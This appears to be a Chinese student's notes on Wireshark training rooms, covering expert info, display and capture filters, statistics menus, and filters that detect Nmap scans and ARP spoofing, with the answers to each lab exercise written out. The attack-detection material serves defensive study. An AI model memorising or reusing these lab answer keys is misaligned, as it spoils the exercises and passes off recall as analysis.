下表列出了常用信息组。有关专家信息条目的更多信息,请参阅Wireshark 的官方文档。
| 团体 | 信息 | 团体 | 信息 |
|---|---|---|---|
| 校验和 | 校验和错误 | 已弃用 | 已弃用的协议用法 |
| 评论 | 数据包注释检测 | 畸形 | 畸形数据包检测 |
您可以使用状态栏 左下角区域或"分析 --> 专家信息" 菜单,通过对话框查看所有可用信息条目。它会显示数据包编号、摘要、组协议和总发生次数。

请回答以下问题。
请使用"Exercise.pcapng"文件回答问题。在数据包详情中搜索字符串"r4w" 。艺术家1的名字是什么?

python
r4w8173
转到第 12 个数据包 并阅读数据包注释。答案是什么?
注意:使用 终端命令 md5sum <文件名> 获取 MD5 哈希值。

导出这个照片

计算md5

python
911cd574a42865a956ccde2d04495ebf
捕获文件中包含一个 ".txt" 文件。找到该文件并阅读;外星人的名字是什么?

同理保存该文件,然后我们cat一下

python
packetmaster
请查看专家信息部分。警告数量是多少?
Go to Analyze>Expert Information
黄色是告警

数据包过滤
数据包过滤
Wireshark 拥有强大的过滤引擎,可以帮助分析人员缩小流量范围,专注于感兴趣的事件。Wireshark 提供两种过滤方式:捕获过滤器和显示过滤器。捕获过滤器用于 "捕获" 符合指定过滤器条件的数据包。显示过滤器用于 "查看" 符合指定过滤器条件的数据包。我们将在下一节课讨论这些过滤器的区别和高级用法。现在,让我们重点介绍显示过滤器的基本用法,这将对分析人员的工作大有裨益。
过滤器是专为 Wireshark 官方协议参考中提供的协议而设计的特定查询。虽然过滤器只是用于调查感兴趣事件的一种方式,但有两种不同的方法可以过滤流量并从捕获文件中去除噪声。第一种方法是使用查询,第二种方法是使用右键菜单。Wireshark 提供了一个强大的图形用户界面(GUI),对于不想为基本任务编写查询的分析人员来说,有一条黄金法则: "只要你能点击它,你就能过滤和复制它。"
应用为筛选器
这是过滤流量最基本的方法。在分析捕获文件时,您可以点击想要过滤的字段,然后使用"右键菜单"或 "分析 --> 应用为过滤器" 菜单来过滤特定值。应用过滤器后,Wireshark 将生成所需的过滤查询并应用,根据您的选择显示数据包,并将未选择的数据包从数据包列表窗格中隐藏。请注意,状态栏始终会显示数据包总数和已显示数据包的数量。
简单来说就是根据对应的字段

对话过滤器
使用"应用为过滤器"选项时,您只会过滤数据包中的单个实体。此选项非常适合查找数据包中的特定值。但是,假设您想要通过关注 IP 地址和端口号来查找特定数据包编号及其所有关联数据包,那么"会话过滤器"选项可以帮助您轻松查看相关数据包并隐藏其余数据包。您可以使用"右键单击菜单"或"分析 --> 会话过滤器 "菜单来过滤会话。

为对话着色
此选项与"会话过滤器"类似,但有一点不同。它会高亮显示已链接的数据包,而不会应用显示过滤器或减少已查看的数据包数量。此选项与"着色规则"选项配合使用,会在不考虑先前应用的颜色规则的情况下更改数据包颜色。您可以使用"右键单击菜单"或 "视图 --> 为会话着色" 菜单,一键为已链接的数据包着色。请注意,您可以使用 "视图 --> 为会话着色 --> 重置着色" 菜单撤销此操作。
就是可以为你这个会话进行颜色标记,让你更容易看清楚,这个就是你跟踪tcp或者http流量一样,把每一个包都着色标记出来让你识别。


准备作为过滤器
与"应用为筛选器"类似,此选项可帮助分析人员使用"右键单击"菜单选择:准备作为过滤器。但是,与前者不同的是,此模型不会在选择后立即应用筛选器。它会将所需的查询添加到窗格中,正如下图所示,你会看到已经添加了一个筛选规则上去,但是还没应用而已,需要你确定或者添加更多筛选规则进去


作为列应用
默认情况下,数据包列表窗格提供每个数据包的基本信息。您可以使用"右键单击菜单"或"分析 --> 应用为列 "菜单向数据包列表窗格添加列。单击某个值并将其应用为列后,该列将显示在数据包列表窗格中。此功能有助于分析人员检查捕获文件中可用数据包中特定值/字段的出现情况。您可以通过单击数据包列表窗格顶部来启用/禁用其中显示的列。


跟踪流
Wireshark 以数据包大小的形式显示所有内容。然而,可以重构数据流,并查看应用层呈现的原始流量。遵循协议,数据流有助于分析人员重现应用层数据,并了解感兴趣的事件。此外,还可以查看未加密的协议数据,例如用户名、密码和其他传输的数据。
您可以使用"右键菜单"或 "分析 --> 跟踪TCP / UDP / HTTP流" 菜单来跟踪流量。流量会显示在单独的对话框中;来自服务器的数据包以蓝色高亮显示,来自客户端的数据包以红色高亮显示。

跟踪某个数据流后,Wireshark 会自动创建并应用所需的过滤器来查看该数据流。请注意,应用过滤器后,显示的包数量会发生变化。您需要使用位于显示过滤器栏右上角的 " X " 按钮来移除显示过滤器,并查看捕获文件中所有可用的包。
请回答以下问题。
请使用" Exercise.pcapng "文件回答问题。
转到第4个 数据包。右键单击"超文本传输协议",并将其应用为筛选器。
现在,查看筛选器窗格。筛选查询是什么?

python
http
显示的包数量是多少?

python
1089
找到数据包编号33790 , 跟踪 HTTP 流,仔细查看响应。
根据 Web 服务器的响应,艺术家总数是多少?

python
3
第二位艺术家的名字是什么?

python
Blad3
Wireshark:数据包操作
介绍
在本房间中,我们将介绍使用 Wireshark 进行数据包分析的基础知识,并从数据包级别分析感兴趣的事件。
- 学习目标
- 调查网络流量捕获
- 查看统计数据,包括摘要和方案详情
- 揭示并应用数据包过滤原理
- 应用协议过滤器
- 应用高级筛选
统计数据 | 摘要
统计数据
此菜单提供多种统计选项,方便用户进行分析,从而了解流量范围、可用协议、端点和会话等整体情况,以及一些协议特定细节,例如DHCP、DNS和HTTP /2。对于安全分析师而言,了解如何利用这些统计信息至关重要。本部分提供已处理pcap文件的简要概述,帮助分析师为调查建立假设。您可以使用 "统计" 菜单查看所有可用选项。现在启动指定的虚拟机,打开 Wireshark,加载"Exercise.pcappng"文件,并按照步骤进行操作。
已解析地址
此选项通过提供已解析地址及其主机名的列表,帮助分析人员识别捕获文件中可用的 IP 地址和DNS名称。请注意,主机名信息取自捕获文件中的DNS应答。分析人员可以使用此菜单快速识别已访问的资源。因此,他们可以快速发现已访问的资源,并根据感兴趣的事件对其进行评估。您可以使用 "统计信息 --> 已解析地址" 菜单查看 Wireshark 解析的所有地址。

协议层次结构
此选项会将捕获文件中所有可用协议进行细分,并帮助分析人员根据数据包计数器和百分比以树状视图查看这些协议。因此,分析人员可以查看端口和服务的总体使用情况,并专注于感兴趣的事件。上一节中提到的黄金法则在本节中同样适用;您可以右键单击并筛选感兴趣的事件。您可以使用 "统计信息 --> 协议层次结构"。

会话
会话代表两个特定端点之间的通信流量。此选项以五种基本格式(以太网、IPv4、IPv6、 TCP和UDP)列出会话。因此,分析人员可以识别所有会话并联系感兴趣的事件的端点。您可以使用"统计信息 --> 会话"菜单查看此信息。

终点
"端点"选项与"会话"选项类似。唯一的区别在于,此选项针对单个信息字段(以太网、IPv4、IPv6、TCP和UDP)提供唯一信息。因此,分析人员可以识别捕获文件中的唯一端点,并将其用于感兴趣的事件。您可以使用"统计信息 --> 端点"菜单查看此信息。
Wireshark 还支持使用 IEEE 分配的制造商名称将 MAC 地址解析为人类可读的格式。请注意,此转换仅使用 MAC 地址的前三个字节,并且仅适用于已知的制造商。在查看以太网端点时,您可以通过端点窗口左下角的 "名称解析"按钮启用此选项。

名称解析不仅限于 MAC 地址。Wireshark 也提供 IP 地址和端口名称解析选项。但是,这些选项默认情况下未启用。如果您想使用这些功能,需要通过 "编辑 --> 首选项 --> 名称解析" 菜单将其激活。启用 IP 地址和端口名称解析后,您将在数据包列表窗格中看到解析后的 IP 地址和端口名称,也可以在"会话"和"端点"菜单中查看解析后的名称。

带有名称解析的端点菜单视图:

除了名称解析之外,Wireshark 还提供 IP 地理位置映射功能,帮助分析人员识别地图的源地址和目标地址。但此功能默认情况下未启用,需要 GeoIP 数据库等补充数据。目前,Wireshark 支持 MaxMind 数据库,最新版本的 Wireshark 已预装 MaxMind 数据库解析器。不过,您仍然需要 MaxMind 数据库文件,并通过"编辑 --> 首选项 --> 名称解析 --> MaxMind 数据库目录"菜单向 Wireshark 提供数据库路径。下载并指定路径后,Wireshark 将自动在 IP 协议详细信息下提供匹配 IP 地址的 GeoIP 信息。

端点和 GeoIP 视图:

注意:您需要连接互联网才能查看 GeoIP 地图。
请回答以下问题
调查已解析的地址。主机名以"bbc"开头的IP地址是什么?
统计->地址解析,搜索bbc即可

python
199.232.24.81
IPv4 会话数是多少?

python
435
从"Micro-St"MAC地址传输了多少字节(k)?
打开端点查看即可

python
7474
与"Kansas City"关联的 IP 地址数量是多少?

python
4
与"Blicnet"AS组织关联的IP地址是什么?

python
188.246.82.7
统计数据 | 协议详情
IPv4 和 IPv6
到目前为止,几乎所有选项都提供了包含两种IP地址版本的信息。统计菜单提供了两个选项,用于筛选包含特定IP版本的包统计信息。因此,分析人员可以在一个窗口中识别并列出所有与特定IP版本关联的事件,并将其用于感兴趣的事件。您可以使用"统计信息 --> IPvX统计信息"菜单查看此信息。

DNS
此选项会将捕获文件中的所有DNS数据包进行细分,并帮助分析人员根据数据包计数器和DNS协议百分比以树状视图查看分析结果。因此,分析人员可以查看DNS服务的总体使用情况,包括 rcode、opcode、class、query type、服务和查询统计信息,并将其用于感兴趣的事件。您可以使用 "统计信息 --> DNS " 菜单查看此信息。

HTTP
此选项会将捕获文件中的所有HTTP数据包进行细分,并帮助分析人员根据数据包计数器和HTTP协议百分比以树状视图查看分析结果。因此,分析人员可以查看HTTP服务的总体使用情况,包括请求和响应代码以及原始请求。您可以使用 "统计信息 --> HTTP " 菜单查看此信息。

请回答以下问题
最常用的IPv4目标地址是什么?
打开目标地址和端口,点击排序一下即可知道谁的百分比占最多

python
10.100.1.33
DNS数据包的最大服务请求-响应时间是多少?

python
0.467897
"rad[.]msn[.]com"完成了多少个HTTP请求?
点开dns的统计,然后找到该域名,往右边划

就能看到计数了

python
39
数据包过滤 | 原理
在上一节课(Wireshark:基础篇)中,我们讲解了数据包过滤以及如何在不使用查询的情况下过滤数据包。本节课我们将使用查询来过滤数据包。如前所述,Wireshark 中有两种类型的过滤器。虽然它们的语法相似,但用途不同。让我们回顾一下这两种过滤器的区别。
| 捕获过滤器 | 这种类型的过滤器用于仅保存流量的特定部分。它在捕获流量之前设置,并且在捕获过程中无法更改。 |
|---|---|
| 显示筛选器 | 这种类型的过滤器用于通过减少可见数据包的数量来调查数据包,并且在捕获过程中可以更改。 |
注意: 您不能使用显示筛选表达式来捕获流量,反之亦然。
典型的使用场景是捕获所有数据包,然后根据感兴趣的事件进行过滤。只有经验丰富的专业人员才会使用捕获过滤器并嗅探流量。这就是为什么 Wireshark 在显示过滤器中支持更多协议类型的原因。请务必在实际环境中使用捕获过滤器之前,彻底了解如何使用它们。记住,如果您的捕获过滤器与您要查找的特定流量模式不匹配,您将无法捕获到感兴趣的事件。
捕获过滤器语法
这些过滤器使用字节偏移量、十六进制值和掩码以及布尔运算符,因此乍一看并不容易理解/预测其用途。基本语法解释如下:
- Scope作用域: 主机、网络、端口和端口范围。
- Direction方向: 源、目标、源或目标、源和目标,
- Protocol协议: 以太网、WLAN、IP、IP6、ARP、RARP、TCP和UDP。
- 用于捕获端口 80 流量的示例过滤器:
tcp port 80
您可以点击 此处:https://www.wireshark.org/docs/man-pages/pcap-filter.html 和 此处:https://gitlab.com/wireshark/wireshark/-/wikis/CaptureFilters#useful-filters阅读更多关于捕获过滤器语法的信息。快速参考指南位于 "捕获 --> 捕获过滤器" 菜单下。

显示筛选语法
这是 Wireshark 最强大的功能。它支持 3000 种协议,并允许在协议分类下进行数据包级别的搜索。官方的"显示过滤器参考:https://www.wireshark.org/docs/dfref/"提供了所有受支持的协议分类,方便进行过滤。
- 用于捕获端口 80 流量的示例过滤器:
tcp.port == 80
Wireshark 内置了一个选项(显示过滤器表达式),用于存储所有受支持的协议结构,以帮助分析人员创建显示过滤器。我们稍后会介绍"显示过滤器表达式"菜单。现在,让我们来了解一下显示过滤器操作的基本原理。您可以在 "分析 --> 显示过滤器" 菜单下找到快速参考。

比较运算符
您可以使用不同的比较运算符创建显示筛选器,以查找感兴趣的事件。主要运算符如下表所示。
| 英语 | C 类 | 描述 | 例子 |
|---|---|---|---|
| 方程 | == | 平等的 | ip.src == 10.10.10.100 |
| ne | != | 不等于 | ip.src != 10.10.10.100 |
| gt | > | 大于 | ip.ttl > 250 |
| lt | < | 少于 | ip.ttl < 10 |
| ge | >= | 大于或等于 | ip.ttl >= 0xFA |
| 勒 | <= | 小于或等于 | ip.ttl <= 0xA |
注意: Wireshark 支持使用十进制和十六进制值进行过滤。您可以根据搜索需要使用任何格式。
逻辑表达式
Wireshark 支持布尔语法。您也可以使用逻辑运算符创建显示过滤器。
| 英语 | C 类 | 描述 | 例子 |
|---|---|---|---|
| 和 | && | 逻辑和 | (ip.src == 10.10.10.100) AND (ip.src == 10.10.10.111) |
| 或者 | || | 逻辑或 | (ip.src == 10.10.10.100) OR (ip.src == 10.10.10.111) |
| 不是 | ! | 逻辑非 | !(ip.src == 10.10.10.222) 注意: 已弃用 此用法!=value ;使用它可能会导致结果不一致。!(value) 建议使用另一种样式以获得更一致的结果。 |
数据包过滤工具栏
筛选工具栏用于创建和应用显示筛选器。它是一个智能工具栏,可帮助您轻松创建有效的显示筛选器。在开始筛选数据包之前,以下是一些提示:
- 数据包过滤器以小写字母定义。
- 数据包过滤器具有自动完成功能,可以分解协议细节,每个细节都用一个"点"表示。
- 数据包过滤器采用三色表示法,具体说明如下。
| 绿色的 | 有效筛选器 |
|---|---|
| 红色的 | 无效筛选器 |
| 黄色的 | 警告:此过滤器虽然可用,但并不稳定,建议更换为有效的过滤器。 |
![]() |
|
| 筛选工具栏功能如下所示。 | |
![]() |
|
| 我们已经学习了很多原理和语法。接下来,让我们将这些知识付诸实践,开始在下一个任务中过滤数据包。 |
数据包过滤 | 协议过滤器
如前文所述,Wireshark 支持 3000 种协议,并允许通过过滤协议字段进行数据包级别的分析。本任务将演示如何创建和使用针对不同协议字段的过滤器。
IP过滤器
IP过滤器帮助分析人员根据数据包中的IP层信息(OSI模型的网络层)过滤流量。这是Wireshark中最常用的过滤器之一。这些过滤器会过滤网络层信息,例如IP地址、版本、生存时间、服务类型、标志位和校验和值。
常用筛选条件如下表所示。
| 筛选 | 描述 |
|---|---|
ip |
显示所有IP数据包。 |
ip.addr == 10.10.10.111 |
显示所有包含 IP 地址 10.10.10.111 的数据包。 |
ip.addr == 10.10.10.0/24 |
显示所有包含来自 10.10.10.0/24 子网的 IP 地址的数据包。 |
ip.src == 10.10.10.111 |
显示所有源自 10.10.10.111 的数据包 |
ip.dst == 10.10.10.111 |
显示发送到 10.10.10.111 的所有数据包 |
| ip.addr 与 ip.src/ip.dst | 注意: ip.addr 过滤流量时不考虑数据包方向。ip.src/ip.dst 则根据数据包方向进行过滤。 |
![]() |
TCP 和 UDP 过滤器
TCP过滤器帮助分析人员根据数据包中的协议层信息(OSI模型的传输层)过滤流量。这些过滤器会过滤传输协议层的信息,例如源端口和目标端口、序列号、确认号、窗口大小、时间戳、标志、长度和协议错误。
| 筛选 | 描述 | 筛选 | 表达 |
|---|---|---|---|
tcp.port == 80 |
显示所有端口为 80 的 TCP数据包 | udp.port == 53 |
显示所有端口为 53 的UDP数据包 |
tcp.srcport == 1234 |
显示所有源自端口 1234 的TCP数据包 | udp.srcport == 1234 |
显示所有源自端口 1234 的UDP数据包 |
tcp.dstport == 80 |
显示发送到端口 80 的所有TCP数据包 | udp.dstport == 5353 |
显示发送到端口 5353 的所有UDP数据包 |
![]() |
应用层协议过滤器 | HTTP 和 DNS
应用层协议过滤器帮助分析人员根据数据包中的应用层协议信息(OSI 模型的应用层)过滤流量。这些过滤器根据协议类型过滤特定于应用层的信息,例如有效载荷和链路数据。
| 筛选 | 描述 | 筛选 | 描述 |
|---|---|---|---|
http |
显示所有HTTP数据包 | dns |
显示所有DNS数据包 |
http.response.code == 200 |
显示所有HTTP响应代码为"200"的数据包 | dns.flags.response == 0 |
显示所有DNS请求 |
http.request.method == "GET" |
显示所有HTTP GET 请求 | dns.flags.response == 1 |
显示所有DNS响应 |
http.request.method == "POST" |
显示所有HTTP POST 请求 | dns.qry.type == 1 |
显示所有DNS "A"记录 |
![]() |
显示筛选表达式
如前所述,Wireshark 内置了一个选项(显示过滤器表达式),其中存储了所有受支持的协议结构,以帮助分析人员创建显示过滤器。当分析人员记不清特定协议所需的过滤器,或者不确定过滤器的可赋值时,"显示过滤器表达式"菜单提供了一个易于使用的显示过滤器构建指南。该 菜单位于 "分析 --> 显示过滤器表达式" 下 。
要记住每种协议的所有显示过滤器细节是不可能的。每种协议都可能包含不同的字段,并接受各种类型的值。"显示过滤器表达式" 菜单会显示所有协议字段、接受的值类型(整数或字符串)以及预定义值(如有)。请注意,掌握创建过滤器和学习协议过滤器字段需要时间和练习。
这种就是在你不知道怎么写语法过滤的时候才选择这种方式,找协议,然后过滤,所以说才会叫你若不想用这种方式就需要你大量练习,了解语法

请回答以下问题
IP数据包的数量是多少?
筛选ip即可

python
81420
TTL 值小于 10 的数据包数量是多少?
筛选:ip.ttl < 10
python
66
使用"TCP端口4444"的数据包数量是多少?
筛选:tcp.prot == 4444
python
632
发送到端口"80"的"HTTP GET"请求数量是多少?
筛选:tcp.port == 80 and http.request.method == GET
注意:这个GET一定要大写,小写试过了,不行
python
527
A类DNS查询的数量是多少?
筛选:dns.a
python
51
高级筛选
到目前为止,您已经学习了数据包过滤操作的基础知识。现在是时候关注特定事件的数据包细节了。除了上一节课介绍的运算符和表达式之外,Wireshark 还提供了高级运算符和函数。这些高级过滤选项可以帮助分析人员对感兴趣的事件进行深入分析。
筛选条件:"包含"
| 筛选 | 包含 |
|---|---|
| 类型 | 比较算子 |
| 描述 | 在数据包中搜索值。它区分大小写,并通过聚焦于特定字段提供类似于"查找"选项的功能。 |
| 例子 | 查找所有" Apache "服务器。 |
| 工作流程 | 列出所有HTTP数据包,其中数据包的"server"字段包含" Apache "关键字。 |
| 用法 | http.server contains "Apache" |
![]() |
筛选条件:"匹配"
| 筛选 | 比赛 |
|---|---|
| 类型 | 比较算子 |
| 描述 | 搜索符合正则表达式模式的内容。搜索不区分大小写,但复杂查询存在一定的误差范围。 |
| 例子 | 查找所有 .php 和 .html 页面。 |
| 工作流程 | 列出所有 HTTP 数据包,其中数据包的"host"字段与关键字".php"或".html"匹配。 |
| 用法 | `http.host matches ".(php |
![]() |
筛选条件:"in"
| 筛选 | 在 |
|---|---|
| 类型 | 成员资格 |
| 描述 | 在特定范围/范围内搜索值或字段。 |
| 例子 | 查找所有使用端口 80、443 或 8080 的数据包。 |
| 工作流程 | 列出所有 TCP 数据包,其中数据包的"端口"字段的值为 80、443 或 8080。 |
| 用法 | tcp.port in {80 443 8080} |

筛选条件:"大写"
| 筛选 | 大写 |
|---|---|
| 类型 | 功能 |
| 描述 | 将字符串值转换为大写。 |
| 例子 | 查找所有"APACHE"服务器。 |
| 工作流程 | 将所有 HTTP 数据包的"server"字段转换为大写,并列出包含"APACHE"关键字的数据包。 |
| 用法 | upper(http.server) contains "APACHE" |
![]() |
筛选条件:"小写"
| 筛选 | 小写 |
|---|---|
| 类型 | 功能 |
| 描述 | 将字符串值转换为小写。 |
| 例子 | 查找所有" apache "服务器。 |
| 工作流程 | 将所有 HTTP 数据包的"server"字段信息转换为小写,并列出包含" apache "关键字的数据包。 |
| 用法 | lower(http.server) contains "apache" |

筛选条件:"转字符串匹配"
| 筛选 | 转字符串匹配 |
|---|---|
| 类型 | 功能 |
| 描述 | 将非字符串值转换为字符串。 |
| 例子 | 找出所有数字为奇数的帧。 |
| 工作流程 | 将所有"帧编号"字段转换为字符串值,并将帧列表以奇数值结尾。 |
| 用法 | string(frame.number) matches "[13579]$" |
![]() |
书签和筛选按钮
我们已经介绍了各种筛选选项、运算符和函数。现在是时候创建筛选器并将其保存为书签和按钮,以便日后使用。如前所述,筛选工具栏有一个筛选书签部分,用于保存用户创建的筛选器,这有助于分析师只需点击几下即可重复使用常用或复杂的筛选器。与书签类似,您也可以创建筛选按钮,只需单击一下即可应用。
创建和使用书签:

创建和使用显示筛选按钮:

简介
Wireshark 是一款多功能工具,可帮助分析人员进行深入的数据包分析。正如我们在讨论中提到的,分析特定事件需要配置多个偏好设置。如果每次调查都需要重新更改配置,这非常繁琐,因为每个案例都需要不同的颜色规则和过滤按钮。这时,Wireshark 配置文件就派上了用场。您可以为不同的调查案例创建多个配置文件,并根据需要使用它们。您可以使用 "编辑 --> 配置配置文件" 菜单或 "状态栏右下角 --> 配置文件" 部分来创建、修改和更改配置文件。

请回答以下问题
查找所有 Microsoft IIS 服务器。有多少个数据包并非源自"端口 80"?
筛选:http.server contains "IIS" && tcp.srcport != 80
python
21
查找所有 Microsoft IIS 服务器。版本号为"7.5"的数据包数量是多少?
筛选:http.server contains "IIS" && http.server contains "7.5"
python
71
使用端口 3333、4444 或 9999 的数据包总数是多少?
这里题目没有说清楚是tcp协议
筛选:tcp.port in {3333 4444 9999}
python
2235
TTL 值为偶数的包有多少个?
用正则匹配偶数,前提需要将ttl转为string
匹配模式是:以0248结尾的就是偶数了
筛选:string(ip.ttl) matches "[02468]$"
python
77289
将配置文件更改为"校验和控制"。"错误的 TCP 校验和"数据包 有多少个?
选择一下该配置:

然后编辑他,修改为:错误的 TCP 校验

筛选:tcp.checksum.status == 0
python
34185
使用现有的过滤按钮过滤流量。显示的包数量是多少?

python
261
Wireshark:流量分析
我们将深入分析并关联数据包级信息,从而了解网络流量的全貌,例如检测异常和恶意活动。对于安全分析师而言,运用自身知识和工具功能来拦截并理解数据包中散布的信息至关重要。本节课将讲解如何结合分析师知识和 Wireshark 的功能,针对特定案例,分析数据包级细节,从而检测异常和异常情况。
Nmap扫描
Nmap是一款业界标准的网络映射工具,用于识别活动主机和服务。作为最常用的网络扫描工具之一,安全分析师应识别其生成的网络模式。本节将介绍最常见的Nmap扫描类型。
- TCP连接扫描
- SYN扫描
- UDP扫描
了解Nmap扫描的工作原理对于发现网络上的扫描活动至关重要。然而,如果不使用正确的过滤器,就无法理解扫描的详细信息。以下是用于探测网络上 Nmap扫描行为的基本过滤器。
TCP标志简述:
| 笔记 | Wireshark 过滤器 |
|---|---|
| 全局搜索。 | - tcp - udp |
| - 仅 SYN 标志。 - SYN 标志位已置位。其余位并不重要。 | - tcp.flags == 2 - tcp.flags.syn == 1 |
| - 仅 ACK 标志。 - ACK 标志位已置位。其余位并不重要。 | - tcp.flags == 16 - tcp.flags.ack == 1 |
| - 仅 SYN、ACK 标志。 - SYN 和 ACK 已置位。其余位并不重要。 | - tcp.flags == 18 - (tcp.flags.syn == 1) and (tcp.flags.ack == 1) |
| - 仅RST标志。 - RST标志位已置位。其余位并不重要。 | - tcp.flags == 4 - tcp.flags.reset == 1 |
| - 仅包含 RST 和 ACK 标志。 - RST 和 ACK 位已置位。其余位并不重要。 | - tcp.flags == 20 - (tcp.flags.reset == 1) and (tcp.flags.ack == 1) |
| - 仅 FIN 标志 - FIN 标志已置位。其余位并不重要。 | - tcp.flags == 1 - tcp.flags.fin == 1 |
TCP连接扫描
TCP连接扫描简述:
- 依赖于三次握手(需要完成握手过程)。
- 通常以
nmap -sT命令形式执行。 - 供非特权用户使用(非 root 用户的唯一选项)。
- 由于协议的特性,请求通常需要一些数据,因此窗口大小通常大于 1024 字节。
| 打开 TCP 端口 | 打开 TCP 端口 | TCP端口已关闭 |
|---|---|---|
| - 同步 --> - <-- SYN,ACK - ACK --> | - 同步 --> - <-- SYN,ACK - ACK --> - RST,ACK --> | - 同步 --> - <-- RST,ACK |
下图展示了TCP端口打开和关闭的三次握手过程。为了便于调查和理解每个案例的细节,图片和pcap样本已被分割。
打开 TCP 端口(连接):

TCP端口已关闭(连接):

以上图像展示了孤立流量中的模式。然而,在大型捕获文件中发现这些模式并非易事。因此,分析人员需要使用通用过滤器来查看初始异常模式,然后更容易将注意力集中在特定的流量点上。给定的过滤器显示了捕获文件中的 TCP 连接扫描模式。
tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024

同步扫描
TCP SYN 扫描简述:
- 不依赖于三次握手(无需完成握手过程)。
- 通常以
nmap -sS命令形式执行。 - 仅供特权用户使用。
- 通常大小小于或等于 1024 字节,因为请求尚未完成,并且预计不会收到数据。
| 打开 TCP 端口 | 关闭 TCP 端口 |
|---|---|
| - 同步 --> - <-- 同步,确认 - RST--> | - 同步 --> - <-- RST,ACK |
打开 TCP 端口(SYN):

TCP端口已关闭(SYN):

给定的过滤器显示 捕获文件中的TCP SYN 扫描模式。
tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size <= 1024

UDP扫描
UDP扫描简述:
- 不需要握手过程
- 没有打开端口的提示
- 端口关闭的 ICMP 错误消息
- 通常以
nmap -sU命令形式执行。
| 打开UDP端口 | UDP端口 已关闭 |
|---|---|
| - UDP数据包 --> | - UDP数据包 --> - ICMP 类型 3,代码 3 消息。(目标不可达,端口不可达) |
已关闭(端口 69)和已开放(端口 68)的 UDP端口:

上图显示,关闭的端口返回了一个 ICMP 错误数据包。乍一看,并没有提供关于该错误的更多信息,那么分析人员如何确定此错误消息的归属呢?ICMP 错误消息使用原始请求作为封装数据来显示数据包的来源/原因。展开数据包详细信息窗格中的 ICMP 部分后,您将看到封装数据和原始请求,如下图所示。

给定的过滤器显示捕获文件中的UDP扫描模式。
icmp.type==3 and icmp.code==3

检测分块文件中的可疑活动很容易,也是学习如何关注细节的好方法。
现在,请使用该"~/Desktop/exercise-pcaps/nmap/Exercise.pcapng"文件,将您的技能应用于单个捕获文件,并回答以下问题!
TCP 连接扫描的总次数是多少?
筛选:tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024
python
1000
扫描 TCP 端口 80 使用的是哪种扫描类型?

python
TCP Connect
有多少条"UDP 关闭端口"消息?
筛选:icmp.type == 3 and icmp.code == 3
python
1083
55-70端口范围内的哪个UDP端口是开放的?
筛选:udp.port in {55..70}
注意,这里查看的是端口开放,看他目的地端口,然后连接成功的,而不是看个数哈,别搞错了

python
68
ARP投毒攻击和中间人攻击!
ARP欺骗/中和攻击(又称中间人攻击)
ARP协议,即地址解析协议(ARP ),是负责允许设备在网络中识别自身身份的技术。地址解析协议投毒(也称为ARP欺骗或中间人攻击(MITM))是一种攻击,它通过向默认网关发送恶意ARP数据包来干扰/操纵网络。其最终目的是篡改**"IP地址到MAC地址表"**,并嗅探目标主机的网络流量。
有很多工具可用于发起ARP攻击。然而,这种攻击的思路是固定的,因此只要了解ARP协议的工作流程和Wireshark的使用技巧,就很容易检测到此类攻击。
ARP分析简述:
- 在本地网络上运行
- 实现 MAC 地址之间的通信
- 这不是一个安全的协议
- 不是可路由协议
- 它没有身份验证功能
- 常见模式有请求与响应、公告和免费数据包。
在调查流量之前,我们先来看一些合法和可疑的ARP数据包。合法的请求类似于图中所示:一个广播请求,询问是否有可用主机使用某个IP地址,以及来自使用该IP地址的主机的回复。
| 笔记 | Wireshark过滤器 |
|---|---|
| 全球搜索 | - arp |
| " ARP "选项,用于获取唾手可得的成果: - 操作码 1:ARP请求。 - 操作码 2:ARP响应。 - 亨特: ARP扫描 - 调查: 可能检测到ARP中毒 - **搜寻:**可能检测到ARP泛洪攻击: | - arp.opcode == 1 - arp.opcode == 2 - arp.dst.hw_mac==00:00:00:00:00:00 - arp.duplicate-address-detected or arp.duplicate-address-frame - ((arp) && (arp.opcode == 1)) && (arp.src.hw_mac == target-mac-address) |
ARP请求

ARP应答

可疑情况是指针对特定 IP 地址出现两个不同的ARP响应(冲突)。在这种情况下,Wireshark 的专家信息选项卡会向分析人员发出警告。但是,它只会显示重复值的第二个实例以突出显示冲突。因此,如何从合法数据包中识别恶意数据包是分析人员面临的挑战。下图展示了一个可能的 IP 地址欺骗案例。

了解网络架构并检查特定时间段内的流量有助于发现异常。作为分析师,您应该在继续下一步之前记录下您的发现。这将有助于您保持条理清晰,并便于关联后续发现。请看下图;这里存在冲突;以"b4"结尾的MAC地址构造了一个ARP请求,其IP地址为"192.168.1.25",然后声称自己拥有"192.168.1.1"的IP地址。
| 笔记 | 检测记录 | 发现 |
|---|---|---|
| 可能存在匹配的 IP 地址。 | 1. 通过 MAC 地址公布的 IP 地址。 | - MAC地址:00:0c:29:e2:18:b4 - IP地址:192.168.1.25 |
| 可能是ARP欺骗攻击。 | 两个 MAC 地址声称拥有同一个 IP 地址 (192.168.1.1)。IP 地址"192.168.1.1"可能是一个网关地址。 | - MAC1: 50:78:b3:f3💿f4 - MAC 2: 00:0c:29:e2:18:b4 |
| 可能是ARP泛洪攻击。 | 以"b4"结尾的 MAC 地址声称拥有不同的/新的 IP 地址。 | - MAC地址:00:0c:29:e2:18:b4 - IP地址:192.168.1.1 |
我们继续检查流量,以发现任何其他异常情况。请注意,为了便于调查,此案例已拆分为多个捕获文件。

此时,异常情况显而易见。安全分析师不能忽视大量的ARP请求。这可能是恶意活动、扫描或网络问题。现在出现了一个新的异常:MAC 地址以"b4"结尾,并向 IP 地址"192.168.1.25"发送了多个ARP请求。让我们集中精力追踪这一异常的来源,并补充之前的记录。
| 笔记 | 检测记录 | 发现 |
|---|---|---|
| 可能存在匹配的 IP 地址。 | 1. 通过 MAC 地址公布的 IP 地址。 | - MAC地址:00:0c:29:e2:18:b4 - IP地址:192.168.1.25 |
| 可能是ARP欺骗攻击。 | 2 个 MAC 地址声称拥有同一个 IP 地址 (192.168.1.1)。 IP 地址"192.168.1.1"可能是一个网关地址。 | - MAC1: 50:78:b3:f3💿f4 - MAC 2: 00:0c:29:e2:18:b4 |
| 可能是ARP欺骗攻击。 | 以"b4"结尾的 MAC 地址声称拥有不同的/新的 IP 地址。 | - MAC地址:00:0c:29:e2:18:b4 - IP地址:192.168.1.1 |
| 可能是ARP泛洪攻击。 | 以"b4"结尾的 MAC 地址针对一系列 IP 地址构造了多个ARP请求。 | - MAC地址:00:0c:29:e2:18:b4 - IP地址:192.168.1.xxx |
